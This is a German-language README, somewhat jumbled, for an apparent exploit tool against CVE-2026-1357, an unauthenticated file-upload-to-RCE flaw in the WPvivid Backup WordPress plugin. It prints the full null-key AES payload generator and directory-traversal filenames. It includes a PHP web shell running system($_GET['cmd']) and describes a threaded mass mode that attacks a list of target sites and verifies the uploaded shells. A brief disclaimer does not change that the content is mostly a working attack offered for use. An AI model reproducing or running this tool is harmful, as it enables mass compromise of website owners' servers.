
Migration, Backup, Staging <= 0.9.123 - Nicht authentifizierter beliebiger Datei-Upload
CVE-2026-1357.py)Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Schwachstelle: Nicht authentifizierter beliebiger Datei-Upload → Remote Code Execution (RCE)
CVE: CVE-2026-1357 – CVSS 9.8 (Kritisch)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py ist ein Proof-of-Concept-Exploit-Tool für die WPvivid-Schwachstelle. Es konzentriert sich auf die fehlerhafte AES-Sitzungsbehandlung, die es einem Angreifer ermöglicht:
name) in die Nutzlast einzubetten.wpvivid_action=send_to_site an den WPvivid-Endpunkt zu senden.Das Skript versucht nicht, private Schlüssel direkt zu erraten oder zu missbrauchen. Stattdessen simuliert es den fehlerhaften Ablauf von WPvivid, bei dem ein fehlgeschlagenes openssl_private_decrypt() dazu führt, dass die AES-Chiffre von phpseclib mit einem Null-Schlüssel initialisiert wird.
Der Kern des Exploits liegt in gen_wpvivid_payload():
Es erstellt eine JSON-Struktur:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Es serialisiert dieses JSON (kompakte Form, ohne Leerzeichen).
Es verschlüsselt das JSON mit:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Anschließend stellt es voran:
"000" (ein statischer Platzhalter für das Längenfeld)."{len(cipher):016X}".Der endgültige verschlüsselte Blob ist:
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
Dieser Blob wird base64-kodiert und als endgültiger wpvivid_content-Wert zurückgegeben.
Funktion:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Dies entspricht den Entschlüsselungserwartungen von WPvivid im verwundbaren Codepfad nach einem fehlgeschlagenen RSA-Entschlüsselungsversuch.
Das Skript verfügt über zwei Hauptmodi sowie eine Massentest-Funktion:
mood1 – Nutzlast-Generator
wpvivid_content-Wert mithilfe des Null-Key-Tricks.mood2 – Einzelziel-Tester
Massenmodus (aus mood1)
python3 CVE-2026-1357.py
Sie sehen eine Rich-basierte Benutzeroberfläche mit Banner und Modusauswahl:
mood1 – Nutzlast-Generatormood2 – Einzelziel-Testerwpvivid_content), die Folgendes kodiert:
Modusauswahl
Wenn Sie dazu aufgefordert werden:
Choose mode (mood1/mood2) [mood1]:
Drücken Sie Enter (Standard ist mood1) oder geben Sie mood1 ein.
Ziel-Dateiname/-pfad
Sie werden gefragt:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Beispiele:
Um eine Datei im WPvivid-Backup-Verzeichnis abzulegen:
Nx_.php
Um Directory Traversal auszunutzen (sofern vom Ziel erlaubt):
../../public_html/Nx_.php
Der Wert fließt in das Feld name der JSON-Nutzlast ein.
Eingabemodus für den Inhalt
Das Skript zeigt drei Möglichkeiten zur Definition des Dateiinhalts an:
EOF).Nach der Generierung der Nutzlast fragt das Skript:
Auto-send this payload to targets list (mass mode)? (y/N):
Wenn Sie mit y antworten, startet es den Massenmodus mit der soeben erstellten Nutzlast und dem Dateinamen.
Ziellistendatei
Beispielaufforderung:
Targets list file (one URL per line):
Erwartetes Dateiformat (z. B. targets.txt):
https://site1.com
site2.com
http://site3.net
Das Skript normalisiert Basis-URLs automatisch (ergänzt fehlende Schemata).
Thread-Anzahl
Threads (concurrent sites) [5]:
Steuert, wie viele Websites parallel verarbeitet werden.
Logik pro Ziel
Für jedes Ziel:
URL normalisieren → base_url.
Aufruf:
send_wpvivid_payload(base_url, payload)
die:
wpvivid_action=send_to_site + wpvivid_content=<payload> erstellt.{"result":"success"} enthält (Prüfung der kompakten Form).wpvivid_payload.txt oder externer Quelle) gegen eine einzelne URL verwenden und die resultierende Datei verifizieren.Ziel-URL
Aufforderung:
Target base URL (e.g., https://site.com):
Beispiel:
https://victim.com
Das Skript normalisiert dies zu einer Basis wie:
https://victim.com
Dateiname
Aufforderung:
Expected file name (e.g., Nx_.php):
Dies ist der Name/Pfad, von dem Sie erwarten, dass WPvivid ihn schreibt (passend zu dem, was Sie im Feld name der Nutzlast kodiert haben).
Nutzlast-Eingabe
Aufforderung:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=... beginnt, wird das Präfix entfernt.Ausführung
Das Skript:
Sendet den POST mit wpvivid_action=send_to_site + Ihrem wpvivid_content.
Dieser Modus ist ideal für manuelle Tests / Labortests einer einzelnen Website mit feiner Kontrolle über die Nutzlast.
wpvivid_payload.txt
mood1 geschrieben.file_name=<file_name_you_chose>wpvivid_content=<payload>Nx_.txt
mood1 (Massenmodus) und mood2 geschrieben.Dieses Tool ist ausschließlich bestimmt für:
Durch die Nutzung dieses Skripts stimmen Sie zu, dass:
Verwenden Sie es auf eigene Gefahr und nur für legitime Sicherheitstests.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedFür Updates, Tools und Inhalte zur Sicherheitsforschung folgen Sie dem Telegram-Kanal:
👉 @KNxploited
shell.phpSie werden aufgefordert:
Mode [1/2/3] [1]:
Modus 1 – Einzeilig
Single line content:
Eingabebeispiel:
<?php phpinfo();
Modus 2 – Mehrzeilig
Enter file content, line by line. Type 'EOF' on its own line when done.
Sie können ein mehrzeiliges PHP-Skript einfügen oder eingeben und es mit EOF in einer eigenen Zeile beenden:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Modus 3 – Lokale Datei
Local file path (e.g., shell.php):
Das Skript liest die gesamte Datei in file_bytes ein.
Generierung der Nutzlast
Sobald der Inhalt erfasst ist, führt das Skript Folgendes aus:
Sie sehen eine Ausgabe wie:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
Außerdem wird eine Datei wpvivid_payload.txt geschrieben:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Wenn der Upload als erfolgreich betrachtet wird:
shell_url wie folgt erstellen:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
In Nx_.txt speichern.
verify_written_file() versuchen:
shell_url per GET an.status_code == 200 als verifiziert markieren.Wenn Fehler auftreten:
short_reason():
Benutzeroberfläche
[OK] <shell_url> bei Erfolg.[FAIL] <base> (reason: ...) bei Fehler.[!] Not verified (...) wenn der Upload möglicherweise erfolgreich war, die Verifizierung jedoch fehlschlug.Wenn die Antwort auf Erfolg hindeutet, erstellt es:
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
und gibt [OK] mit dieser URL aus.
Hängt erfolgreiche URLs an Nx_.txt an.
Versucht die Verifizierung über verify_written_file() und gibt das Ergebnis aus.